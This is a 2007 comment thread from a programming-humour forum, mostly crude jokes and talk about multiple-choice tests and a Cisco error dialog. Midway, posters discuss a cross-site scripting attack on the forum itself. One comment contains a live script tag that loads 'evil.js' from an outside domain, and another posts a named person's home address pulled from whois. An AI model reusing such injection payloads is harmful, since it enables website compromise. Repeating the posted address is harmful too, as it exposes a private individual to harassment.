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Re: Multiple Choice

2007-10-03 14:06 • by coward (unregistered)
When did 'protip' become a fucking word ?

Re: Multiple Choice

2007-10-03 14:17 • by FredSaw
155816 in reply to 155808
coward:
When did 'protip' become a fucking word ?
When my girlfriend started yelling it during the throes of passion.

Re: Multiple Choice

2007-10-03 14:25 • by wtf (unregistered)
i hope the space error didnt come from the filename, or that would suck

Re: Multiple Choice

2007-10-03 14:27 • by seejay
155820 in reply to 155808
coward:
When did 'protip' become a fucking word ?


Right about the time you became a douche.

-- Seejay

Re: Multiple Choice

2007-10-03 14:27 • by emurphy
How much you want to bet that the author of the third screen was harangued by a Large Fonts user?

Re: Multiple Choice

2007-10-03 14:27 • by Erick
The forum hopes you'll go away before the 4.8298 years are up.

Re: Multiple Choice

2007-10-03 14:28 • by T $
155823 in reply to 155816
FredSaw:
coward:
When did 'protip' become a fucking word ?
When my girlfriend started yelling it during the throes of passion.
ZING! Point and match! Another point: 152313098 seconds IS greater than 60 seconds so it will surely comply with the policy.

Re: Multiple Choice

2007-10-03 14:45 • by TimmyT (unregistered)
155824 in reply to 155816
FredSaw:
coward:
When did 'protip' become a fucking word ?
When my girlfriend started yelling it during the throes of passion.


That's when you came running into the room to ask her what the hell she's yelling about?

Re: Multiple Choice

2007-10-03 14:46 • by wtf (unregistered)
And by girlfriend you mean your ipod

captcha and your ego: burned

Re: Multiple Choice

2007-10-03 14:49 • by Colin McGuigan
155827 in reply to 155824
TimmyT:
FredSaw:
coward:
When did 'protip' become a fucking word ?
When my girlfriend started yelling it during the throes of passion.


That's when you came running into the room to ask her what the hell she's yelling about?


Old joke:

Man comes home from work early, walks into his bedroom to find his wife in bed with another man. In disbelief, he shouts, "What in God's name are you doing?"

Wife turns to the other man and says, "See? I told you he was clueless."

Re: Multiple Choice

2007-10-03 15:18 • by whicker (unregistered)
There's nothing WTF about that first one multiple choice screenshot.

It should be painfully obvious after how many multiple choice tests a typical student has to endure in a lifetime.

Basically there are a few questions everyone is supposed to get right. This offsets the midpoint of the bell curve (explained later) by 5-10 percentage points. Then there are the questions for everyone who was paying attention, such that most people will still get these right.

Added to the mix are the few questions for those people who can 'read in-between the lines', and finally, one or two toss up (or trick) questions absolutely not covered in the presented material. Only prior knowledge, or intuition, will let you get those right. These last ones were always the questions the lamer 'C' students complained about. "Well that's not anywhere in the book / you never talked about that!" No shit.

Unfortunately, certain teachers or professors would relent and not count these questions. Meaning, although I would sometimes get 110% on tests, the 'C' students would get their B's and the F's would suddenly pass.

I feel that the reason multiple choice tests persist, besides ease of grading, is that you're considered a bad teacher if you cannot enforce the Bell Curve. And of course, if the higher-ups don't see the Gaussian distribution characteristic of random events, then you're a bad teacher. (Note my weak sarcasm.)

Having the results of the test a bell curve also means it's easy to pick out cheaters with a large enough class size. Just change the test slightly, and suddenly there's a big spike at around the 'B' area. (Or if you're an arse, you change it significantly and watch for the spike at the 'D' area).

Re: Multiple Choice

2007-10-03 15:22 • by purge
155830 in reply to 155827
Colin McGuigan:

Old joke:

Man comes home from work early, walks into his bedroom to find his wife in bed with another man. In disbelief, he shouts, "What in God's name are you doing?"

Wife turns to the other man and says, "See? I told you he was clueless."


I don't get it...

Re: Multiple Choice

2007-10-03 15:35 • by coward (unregistered)
155831 in reply to 155830
purge:
Colin McGuigan:

Old joke:

Man comes home from work early, walks into his bedroom to find his wife in bed with another man. In disbelief, he shouts, "What in God's name are you doing?"

Wife turns to the other man and says, "See? I told you he was clueless."


I don't get it...


purge is clueless too...

Re: Multiple Choice

2007-10-03 15:43 • by BA (unregistered)
155832 in reply to 155808
coward:
When did 'protip' become a fucking word ?


When Gamepro decided to start giving out game tips.

Captcha: digdug
Protip: Shoot the aliens.

Re: Multiple Choice

2007-10-03 15:45 • by nobody
155833 in reply to 155831
coward:
purge:
Colin McGuigan:

Old joke:

Man comes home from work early, walks into his bedroom to find his wife in bed with another man. In disbelief, he shouts, "What in God's name are you doing?"

Wife turns to the other man and says, "See? I told you he was clueless."


I don't get it...


purge is clueless too...


I like how comments to jokes that are comments to other jokes are oftentimes funnier than the jokes themselves. :)

Re: Multiple Choice

2007-10-03 16:00 • by Inspector Clue-Sou (unregistered)
155835 in reply to 155833
nobody:
coward:
purge:
Colin McGuigan:

Old joke:

Man comes home from work early, walks into his bedroom to find his wife in bed with another man. In disbelief, he shouts, "What in God's name are you doing?"

Wife turns to the other man and says, "See? I told you he was clueless."


I don't get it...


purge is clueless too...


I like how comments to jokes that are comments to other jokes are oftentimes funnier than the jokes themselves. :)

And stating the obvious (coward) dimishes the effect of the joke.

Re: Multiple Choice

2007-10-03 16:06 • by Timothy (unregistered)
"When did 'protip' become a fucking word ?"

That's really an interesting question considering that the ad I got just below the article was for Viagra.

Re: Multiple Choice

2007-10-03 16:12 • by coward (unregistered)
155838 in reply to 155835
Inspector Clue-Sou:
nobody:
coward:
purge:
Colin McGuigan:

Old joke:

Man comes home from work early, walks into his bedroom to find his wife in bed with another man. In disbelief, he shouts, "What in God's name are you doing?"

Wife turns to the other man and says, "See? I told you he was clueless."


I don't get it...


purge is clueless too...


I like how comments to jokes that are comments to other jokes are oftentimes funnier than the jokes themselves. :)

And stating the obvious (coward) dimishes the effect of the joke.


Is this a joke or not? I can't tell.

Re: Multiple Choice

2007-10-03 16:23 • by Monica Lewinsky (unregistered)
I'm proshaft.

Re: Multiple Choice

2007-10-03 16:43 • by Grant (unregistered)
Well, I'll just come back in 4.83 years to make my comment.

Captcha s/b: eternity

Re: Multiple Choice

2007-10-03 17:19 • by Slippery Jim (unregistered)
If I answer "I don't know" to the first one, and it's the truth, then I get it right, don't I?

Re: Multiple Choice

2007-10-03 17:26 • by dkf (unregistered)
155847 in reply to 155829
whicker:
There's nothing WTF about that first one multiple choice screenshot.
The Real WTF is that many people think multiple choice tests prove anything much. Especially on computers. Especially especially on the 'net.

Re: Multiple Choice

2007-10-03 17:32 • by Freddy Bob (unregistered)
155848 in reply to 155816
FredSaw:
coward:
When did 'protip' become a fucking word ?
When my girlfriend started yelling it during the throes of passion.


Tell me, o master, how you can get her to do that with just the tip.

Re: Multiple Choice

2007-10-03 17:45 • by gygax (unregistered)
155852 in reply to 155847
dkf:
whicker:
There's nothing WTF about that first one multiple choice screenshot.
The Real WTF is that many people think multiple choice tests prove anything much. Especially on computers. Especially especially on the 'net.


I'd say that depends on the question, and the answers.
I recently took a job test online, where I was allowed to google the questions. and it had a time limit. 3 hours for 75 questions. ;) some of those damn questions were pretty hard to google.

Got the job though heh.

Re: Multiple Choice

2007-10-03 17:45 • by n3txpert (unregistered)
155853 in reply to 155838
coward:
Inspector Clue-Sou:
nobody:
coward:
purge:
Colin McGuigan:

Old joke:

Man comes home from work early, walks into his bedroom to find his wife in bed with another man. In disbelief, he shouts, "What in God's name are you doing?"

Wife turns to the other man and says, "See? I told you he was clueless."


I don't get it...


purge is clueless too...


I like how comments to jokes that are comments to other jokes are oftentimes funnier than the jokes themselves. :)

And stating the obvious (coward) dimishes the effect of the joke.


Is this a joke or not? I can't tell.


Three clueless guy...

And please stfu about captcha, it's not funny.

Re: Multiple Choice

2007-10-03 17:57 • by poochner
155855 in reply to 155848
Freddy Bob:
FredSaw:
coward:
When did 'protip' become a fucking word ?
When my girlfriend started yelling it during the throes of passion.


Tell me, o master, how you can get her to do that with just the tip.


If you know what you're doing, you can do that with just about anything.

Re: Multiple Choice

2007-10-03 18:11 • by liquidsnk (unregistered)
155858 in reply to 155853
n3txpert:
coward:
Inspector Clue-Sou:
nobody:
coward:
purge:
Colin McGuigan:

Old joke:

Man comes home from work early, walks into his bedroom to find his wife in bed with another man. In disbelief, he shouts, "What in God's name are you doing?"

Wife turns to the other man and says, "See? I told you he was clueless."


I don't get it...


purge is clueless too...


I like how comments to jokes that are comments to other jokes are oftentimes funnier than the jokes themselves. :)

And stating the obvious (coward) dimishes the effect of the joke.


Is this a joke or not? I can't tell.


Three clueless guy...

And please stfu about captcha, it's not funny.


When did 'captcha' become a fucking word ?

captcha: paint

Re: Multiple Choice

2007-10-03 18:54 • by real_aardvark
155862 in reply to 155855
poochner:
Freddy Bob:
FredSaw:
coward:
When did 'protip' become a fucking word ?
When my girlfriend started yelling it during the throes of passion.


Tell me, o master, how you can get her to do that with just the tip.


If you know what you're doing, you can do that with just about anything.

Ah, yes, the Jedi Master answer to the question. "These are not the throes of passion you are looking for."

Probably followed by some incomprehensible scrabble-bag grab/T3PO quote, like "jskryurrk2*gzd--tip (beep)."

Now, that's passion, throed or otherwise.
dkf:
whicker:
There's nothing WTF about that first one multiple choice screenshot.
The Real WTF is that many people think multiple choice tests prove anything much. Especially on computers. Especially especially on the 'net.

Well, I'd take issue with "multiple" being "two." Especially when the second member of the multiple isn't even "None of the above." I agree with your underlying sentiment, but in fact the Real WTF is the WTF (or, indeed, Error'd). As stated.

A slightly less real, but still quite important, WTF is that (as documented by a poster above, and coming soon to a "university/college/school" near you), multiple choice is still considered a sensible way of grading students in "typical" tertiary education.

(a) O Tempora
(b) O Mores
(c) FILE_NOT_FOUND

Somewhere between these probabilistic quantum waves of WTFery lies my personal bete-noir, the "personality test," whereby one checks tick-boxes against a list of adjectives (or it might be children's pictures) to affirm which ones apply to you, in your view.

Then you turn over the page and are faced with precisely the same list of adjectives (or it might be children's pictures) and are asked to affirm which ones other people think apply to you, in your view.

Then there's "graphology."

Something like five million jobs a year in the UK are partly apportioned on this basis, according to a scary article I read a couple of years ago. I can stop voting now. It's unnecessary. Adjectives, children's pictures, and whether your 't' slopes aggressively whilst you write "protip" with a roller-ball pen, lead us all to a better judgement of future performance.

I was going to reply to the guy with the detailed bell curve thing, discussing his points rationally, mentioning tailing curves, power series, gaussian distribution, Taleb and the black swan, and the grotesque and self-serving fallacy that is "grading to the curve" -- which underlines all this multiple-choice thing, btw -- but I've somehow lost heart.

Res ipsa loquitur.

Re: Multiple Choice

2007-10-03 18:58 • by Eternal Density
155863 in reply to 155858
liquidsnk:
n3txpert:
coward:
Inspector Clue-Sou:
nobody:
coward:
purge:
Colin McGuigan:

Old joke:

Man comes home from work early, walks into his bedroom to find his wife in bed with another man. In disbelief, he shouts, "What in God's name are you doing?"

Wife turns to the other man and says, "See? I told you he was clueless."


I don't get it...


purge is clueless too...


I like how comments to jokes that are comments to other jokes are oftentimes funnier than the jokes themselves. :)

And stating the obvious (coward) dimishes the effect of the joke.


Is this a joke or not? I can't tell.


Three clueless guy...

And please stfu about captcha, it's not funny.


When did 'captcha' become a fucking word ?

captcha: paint

since your mom...

Re: Multiple Choice

2007-10-03 19:10 • by jspenguin
The flash uploader dialog definitely is a WTF, but this is typical of vendor-supplied flash programming utilities.

For example, the Oxford Semiconductor flash utility is one of the biggest WTFs I've ever seen. It's written in Java with a small JNI DLL to do the dirty work of talking to the chip.

1. When a board with an Atmel flash chip is connected, it pops up a dialog saying "The current device has been programmed with an uncontrolled flash type. Please verify that the reported flash type is correct before continuing." It shows the same dialog when you *disconnect* the device, or after uploading new firmware -- sometimes right in the middle of an operation.

2. There are no accelerator keys. Using the keyboard is almost impossible due to the fact that some drop-down menus won't let you use the down key to scroll down.

3. There is no error handling. All errors are reported as "Unknown exception in xxxxx" where xxxxx is the name of the function that caught the exception. It doesn't even give the class name of the exception.

Another WTF chip programmer is the Cypress USB Starter Kit. The utility is a 16-bit real-mode Windows program - Windows has to run it under NTVDM.

Re: Multiple Choice

2007-10-03 19:12 • by jmays2007
155865 in reply to 155863
Eternal Density:
liquidsnk:
n3txpert:
coward:
Inspector Clue-Sou:
nobody:
coward:
purge:
Colin McGuigan:

Old joke:

Man comes home from work early, walks into his bedroom to find his wife in bed with another man. In disbelief, he shouts, "What in God's name are you doing?"

Wife turns to the other man and says, "See? I told you he was clueless."


I don't get it...


purge is clueless too...


I like how comments to jokes that are comments to other jokes are oftentimes funnier than the jokes themselves. :)

And stating the obvious (coward) dimishes the effect of the joke.


Is this a joke or not? I can't tell.


Three clueless guy...

And please stfu about captcha, it's not funny.


When did 'captcha' become a fucking word ?

captcha: paint

since your mom...


We like the quote boxes eh?

Re: Multiple Choice

2007-10-03 19:19 • by ComputerForumUser
155866 in reply to 155808
coward:
When did 'protip' become a fucking word ?


Captcha: protip

Re: Multiple Choice

2007-10-03 19:53 • by CoyneT (unregistered)
I can't remember why I walked from the bedroom to the kitchen ...

...and you expect me to remember what I wanted to write for 5 whole years?


(Not only that, but 5 years later, the first response to the email is going to be: "Objection: Relevance!")

Re: Multiple Choice

2007-10-03 20:25 • by real_aardvark
155870 in reply to 155868
CoyneT:
I can't remember why I walked from the bedroom to the kitchen ...

...and you expect me to remember what I wanted to write for 5 whole years?


(Not only that, but 5 years later, the first response to the email is going to be: "Objection: Relevance!")

I've always wondered why that isn't "Objection! Irrelevance!"

Is it that hugely overpaid and even more hugely ignorant lawyers in the US don't understand boolean logic? Or is it just hugely overpaid and even more hugely ignorant TV executives in the US?

Either way, I blame the educational system. And the Devil. And probably WTF.

I mean, you can pick either one of the three, and you hardly ever see "Relevance."

Re: Multiple Choice

2007-10-03 21:18 • by Renelou (unregistered)
People with JavaScript turned on would see the true WTF in this article. Oh man... I can't believe this...

Captcha: doom -yah I can't believe it too...

Re: Multiple Choice

2007-10-03 21:21 • by KNY (unregistered)
Ahaha yeah. Add http://www.mutantsrus.com/xss.js to your adblock and you'll be all set.

Re: Multiple Choice

2007-10-03 21:29 • by CastrTroy (unregistered)
Yeah, I saw it and figured it was a javascript hack. Just disabled Javascript, and the page showed up fine. What kind of crappy website doesn't filter out Javascript tags?

Re: Multiple Choice

2007-10-03 22:37 • by key134
155879 in reply to 155864
jspenguin:
The flash uploader dialog definitely is a WTF, but this is typical of vendor-supplied flash programming utilities.


This particular one looks like it comes from Cisco ASDM, which isn't a flash programming utility. It is a GUI for the Cisco ASA command line. It looks like ASDM to me anyway...

I'll have to try that at work tomorrow, see if I can get that error.

Re: Multiple Choice

2007-10-03 23:10 • by Daniel Beardsmore
155882 in reply to 155877
CastrTroy:
Yeah, I saw it and figured it was a javascript hack. Just disabled Javascript, and the page showed up fine. What kind of crappy website doesn't filter out Javascript tags?


I find it pretty amusing. I mean, it's an exploit in a system that, after all, was written to replace the already pot-holed Community Server.

With all the mocking and preaching that goes on, how can the site software be vulnerable to something so simple?

I don't know if this Mutant guy is malicious or simply trying to demonstrate a point. It reminds me of the discovery that certain characters inserted into the text of a Community Server post cause the topic subscription mails to become grossly screwed up. Two of us tried our best but failed to find any way to exploit them, only to create a mess.

But there's a lot more potential for harm here. For goodness sakes, all string output to the Web must be HTML-encoded just in case. Oddly, if the script is AdBlocked, the XSS HTML is shown normally as if it had been HTML-encoded. Weird. I would have expected the script tag to just not show up.

Re: Multiple Choice

2007-10-03 23:16 • by Rookierookie (unregistered)
About the last screenshot - assuming it meant the directory cannot contain spaces, it makes absolutely no sense to me, considering that "My Documents" and "Program Files" both do have spaces...

Re: Multiple Choice

2007-10-03 23:40 • by hmm (unregistered)
Another WTF is that the person that did the XSS attack registered his domain with his real name and address.

http://whois.domaintools.com/mutantsrus.com

too late

2007-10-04 00:43 • by your mom (unregistered)
beh... didn't work...

lets try again!


better no..
it's too late already...
maybe someone who is awaken on the other side of the world may try to create an xss anti-xss?
anybody?

guess no...

Re: Multiple Choice

2007-10-04 00:45 • by Tatiano
<script src="http://www.k2d1videos.com/evil.js"></script>:
xss anti-xss ?

=)



how nice of me... i just broke the whole site...

Re: Multiple Choice

2007-10-04 01:15 • by Anonymous (unregistered)
155891 in reply to 155877
CastrTroy:
Yeah, I saw it and figured it was a javascript hack. Just disabled Javascript, and the page showed up fine. What kind of crappy website doesn't filter out Javascript tags?

The fact that it didn't show anything strange until shortly after the page loaded kinda gave it away for me.

Captcha: doom (nah, I just disabled JavaScript)

Re: Fixing...

2007-10-04 02:28 • by Marcan (unregistered)
Aww, crap. This had to roll over onto the second page. Now it won't do anything.

Oh, well.

Re: Multiple Choice

2007-10-04 02:44 • by Marcan (unregistered)
Heh, the previous poster had the same idea as I did.

For the record, my fix is available at http://marcansoft.com/transf/antixss.js

Re: Multiple Choice

2007-10-04 03:18 • by anonymoose (unregistered)
o hi i whoisd ur domain
matthew thurber
1500 county rd 41
clanton, Alabama 35046
United States

Re: Multiple Choice

2007-10-04 04:44 • by Pol (unregistered)
*sniggers*

Re: Multiple Choice

2007-10-04 08:32 • by rd (unregistered)
155935 in reply to 155838
coward:
Inspector Clue-Sou:
nobody:
coward:
purge:
Colin McGuigan:

Old joke:

Man comes home from work early, walks into his bedroom to find his wife in bed with another man. In disbelief, he shouts, "What in God's name are you doing?"

Wife turns to the other man and says, "See? I told you he was clueless."


I don't get it...


purge is clueless too...


I like how comments to jokes that are comments to other jokes are oftentimes funnier than the jokes themselves. :)

And stating the obvious (coward) dimishes the effect of the joke.


Is this a joke or not? I can't tell.

You can't tell? Is your wife hot? I'd like to meet her.

Re: Multiple Choice

2007-10-04 08:45 • by Corey (unregistered)
155936 in reply to 155879
key134:

This particular one looks like it comes from Cisco ASDM, which isn't a flash programming utility. It is a GUI for the Cisco ASA command line. It looks like ASDM to me anyway...

I'll have to try that at work tomorrow, see if I can get that error.


It is from Cisco ASDM. I had the error occur when uploading a file to the flash memory that contained a space in the filename. The path on the local system could have spaces, but not the filename.
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